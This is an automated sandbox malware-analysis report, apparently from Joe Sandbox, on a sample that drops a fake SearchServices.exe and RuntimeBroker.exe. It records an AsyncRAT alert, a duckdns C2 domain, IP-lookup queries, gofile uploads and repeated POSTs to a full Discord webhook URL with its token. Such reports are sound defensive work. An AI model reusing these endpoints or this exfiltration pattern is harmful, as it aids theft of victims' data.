Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: SearchServices.exe, 00000005.00000003.1668030523.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1672796860.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1678550595.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: SearchServices.exe, 00000005.00000003.1668149590.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdbNN source: SearchServices.exe, 00000005.00000003.1669091003.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1672796860.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1675716606.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1679695771.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_asyncio.pdb source: SearchServices.exe, 00000005.00000003.1668234020.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1680796353.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1672598760.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdb source: SearchServices.exe, 00000005.00000003.1669091003.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1674252996.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1671016531.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1679851471.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1674252996.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1682971739.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1670597655.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1671178973.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1678294113.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1674125167.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1676239632.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1679520276.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1681174750.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1678550595.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1670713872.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1671016531.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1674564993.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1671178973.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1679520276.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1681525909.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: SearchServices.exe, 00000005.00000003.1668149590.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1679695771.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1682971739.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1672598760.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1677828242.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: SearchServices.exe, 00000005.00000003.1676239632.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1672142054.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1674564993.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1674125167.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1670713872.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1679003738.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ^>.PDbyX$JC3r source: w85VkFOxiD.exe, 00000000.00000000.1634910763.0000000001802000.00000002.00000001.01000000.00000003.sdmp, w85VkFOxiD.exe, 00000000.00000002.1661566744.0000000001802000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1680892995.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: SearchServices.exe, 00000005.00000003.1668030523.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_queue.pdb source: SearchServices.exe, 00000005.00000003.1669386850.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1680796353.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: SearchServices.exe, 00000005.00000003.1673420919.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_overlapped.pdb source: SearchServices.exe, 00000005.00000003.1669289273.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1673168351.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1674857330.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1682761185.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: SearchServices.exe, 00000005.00000003.1674413248.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1670850717.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1673276769.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1680613542.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1673420919.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1673938844.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1680892995.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1683245405.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1674688997.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1678294113.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1674857330.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_multiprocessing.pdb source: SearchServices.exe, 00000005.00000003.1669215964.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1670597655.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: SearchServices.exe, 00000005.00000003.1672452047.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1681174750.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1673276769.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1683245405.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_socket.pdb source: SearchServices.exe, 00000005.00000003.1669486968.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1673938844.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1673168351.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1675716606.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1681332783.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdbGCTL source: SearchServices.exe, 00000005.00000003.1674413248.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_bz2.pdb source: SearchServices.exe, 00000005.00000003.1668321110.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1674688997.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_hashlib.pdb source: SearchServices.exe, 00000005.00000003.1668919438.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1680388801.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdbGCTL source: SearchServices.exe, 00000005.00000003.1679003738.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: SearchServices.exe, 00000005.00000003.1682761185.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00000264CC27DCE0 FindFirstFileExW,	5_2_00000264CC27DCE0
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287E8D00 FindFirstFileExW,FindClose,	5_2_00007FF7287E8D00
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287F8670 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	5_2_00007FF7287F8670
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7288026C4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	5_2_00007FF7288026C4
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	Code function: 5_2_00007FF7287F8670 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	5_2_00007FF7287F8670
Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe	Code function: 10_2_1D3ADCE0 FindFirstFileExW,	10_2_1D3ADCE0
Source: C:\Windows\System32\winlogon.exe	Code function: 48_2_00000225DC64DCE0 FindFirstFileExW,	48_2_00000225DC64DCE0
Source: C:\Windows\System32\lsass.exe	Code function: 54_2_00000202C0AEDCE0 FindFirstFileExW,	54_2_00000202C0AEDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_000002A66130DCE0 FindFirstFileExW,	55_2_000002A66130DCE0

Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI72402\VCRUNTIME140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI72402\wheel-0.43.0.dist-info\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI72402\unicodedata.pyd	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI72402\wheel-0.43.0.dist-info\entry_points.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI72402\ucrtbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SearchServices.exe	File opened: C:\Users\user\AppData\Local\Temp\_MEI72402\VCRUNTIME140_1.dll	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2035595 ET TROJAN Generic AsyncRAT Style SSL Cert 92.44.20.216:9733 -> 192.168.2.4:49731

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: bardu3662.duckdns.org

Uses dynamic DNS services

Source: unknown

DNS query: name: bardu3662.duckdns.org

Yara detected Generic Downloader

Source: Yara match	File source: 4.0.Update.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Update.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, type: DROPPED

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 92.44.20.216:9733

Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 147.135.36.89 147.135.36.89
Source: Joe Sandbox View	IP Address: 159.89.102.253 159.89.102.253
Source: Joe Sandbox View	IP Address: 162.159.135.232 162.159.135.232

Source: Joe Sandbox View

ASN Name: TELLCOM-ASTR TELLCOM-ASTR

Source: Joe Sandbox View	JA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic	HTTP traffic detected: GET /repos/R3nzTheCodeGOD/R3nzSkin/releases/latest HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Host: api.github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Host: ipwho.isConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1237731643847082035/mvyjDHB9LjGLqjIR_l5GQjR3Wb67_CKP4nv7QSU0l32ppHjzAqKj2Qs_xIbH3qzL3Uy5 HTTP/1.1Accept-Encoding: identityContent-Length: 318Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1237731643847082035/mvyjDHB9LjGLqjIR_l5GQjR3Wb67_CKP4nv7QSU0l32ppHjzAqKj2Qs_xIbH3qzL3Uy5 HTTP/1.1Accept-Encoding: identityContent-Length: 1624Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1237731643847082035/mvyjDHB9LjGLqjIR_l5GQjR3Wb67_CKP4nv7QSU0l32ppHjzAqKj2Qs_xIbH3qzL3Uy5 HTTP/1.1Accept-Encoding: identityContent-Length: 310Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1237731643847082035/mvyjDHB9LjGLqjIR_l5GQjR3Wb67_CKP4nv7QSU0l32ppHjzAqKj2Qs_xIbH3qzL3Uy5 HTTP/1.1Accept-Encoding: identityContent-Length: 318Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1237731643847082035/mvyjDHB9LjGLqjIR_l5GQjR3Wb67_CKP4nv7QSU0l32ppHjzAqKj2Qs_xIbH3qzL3Uy5 HTTP/1.1Accept-Encoding: identityContent-Length: 1624Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1237731643847082035/mvyjDHB9LjGLqjIR_l5GQjR3Wb67_CKP4nv7QSU0l32ppHjzAqKj2Qs_xIbH3qzL3Uy5 HTTP/1.1Accept-Encoding: identityContent-Length: 310Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /repos/R3nzTheCodeGOD/R3nzSkin/releases/latest HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Host: api.github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Host: ipwho.isConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept-Encoding: identityHost: api.ipify.orgUser-Agent: Python-urllib/3.10Connection: close
Source: global traffic	HTTP traffic detected: GET /getServer HTTP/1.1Accept-Encoding: identityHost: api.gofile.ioUser-Agent: Python-urllib/3.10Connection: close
Source: global traffic	HTTP traffic detected: GET /jsonp/81.181.60.11 HTTP/1.1Accept-Encoding: identityHost: geolocation-db.comUser-Agent: Python-urllib/3.10Connection: close
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept-Encoding: identityHost: api.ipify.orgUser-Agent: Python-urllib/3.10Connection: close
Source: global traffic	HTTP traffic detected: GET /getServer HTTP/1.1Accept-Encoding: identityHost: api.gofile.ioUser-Agent: Python-urllib/3.10Connection: close
Source: global traffic	HTTP traffic detected: GET /jsonp/81.181.60.11 HTTP/1.1Accept-Encoding: identityHost: geolocation-db.comUser-Agent: Python-urllib/3.10Connection: close

Source: global traffic	DNS traffic detected: DNS query: api.github.com
Source: global traffic	DNS traffic detected: DNS query: bardu3662.duckdns.org
Source: global traffic	DNS traffic detected: DNS query: ipwho.is
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: api.gofile.io
Source: global traffic	DNS traffic detected: DNS query: geolocation-db.com
Source: global traffic	DNS traffic detected: DNS query: store4.gofile.io
Source: global traffic	DNS traffic detected: DNS query: discord.com

Source: unknown

HTTP traffic detected: POST /api/webhooks/1237731643847082035/mvyjDHB9LjGLqjIR_l5GQjR3Wb67_CKP4nv7QSU0l32ppHjzAqKj2Qs_xIbH3qzL3Uy5 HTTP/1.1Accept-Encoding: identityContent-Length: 318Host: discord.comContent-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0Connection: close

Source: R3nzSkin_Injector.exe, 00000003.00000002.1722983193.0000019EA19DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.github.com
Source: w85VkFOxiD.exe, 00000000.00000002.1711100817.0000000005EB1000.00000004.00000020.00020000.00000000.sdmp, w85VkFOxiD.exe, 00000000.00000002.1683136202.0000000004810000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669091003.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1670468062.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669386850.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668754699.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669215964.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669715940.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668919438.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668321110.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669289273.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668234020.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668597173.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669486968.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SecurityHealthServices.exe, 00000006.00000003.1767681002.000001C1C5510000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: w85VkFOxiD.exe, 00000000.00000002.1711100817.0000000005EB1000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669091003.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1670468062.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669386850.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668754699.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669215964.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669715940.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668919438.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668321110.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669289273.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668234020.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668597173.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669486968.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SecurityHealthServices.exe, 00000006.00000003.1767681002.000001C1C5510000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: w85VkFOxiD.exe, 00000000.00000002.1711100817.0000000005EB1000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669091003.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1670468062.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669386850.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668754699.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669215964.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669715940.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668919438.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668321110.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669289273.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668234020.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1668597173.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SearchServices.exe, 00000005.00000003.1669486968.00000264CA9A7000.00000004.00000020.00020000.00000000.sdmp, SecurityHealthServices.exe, 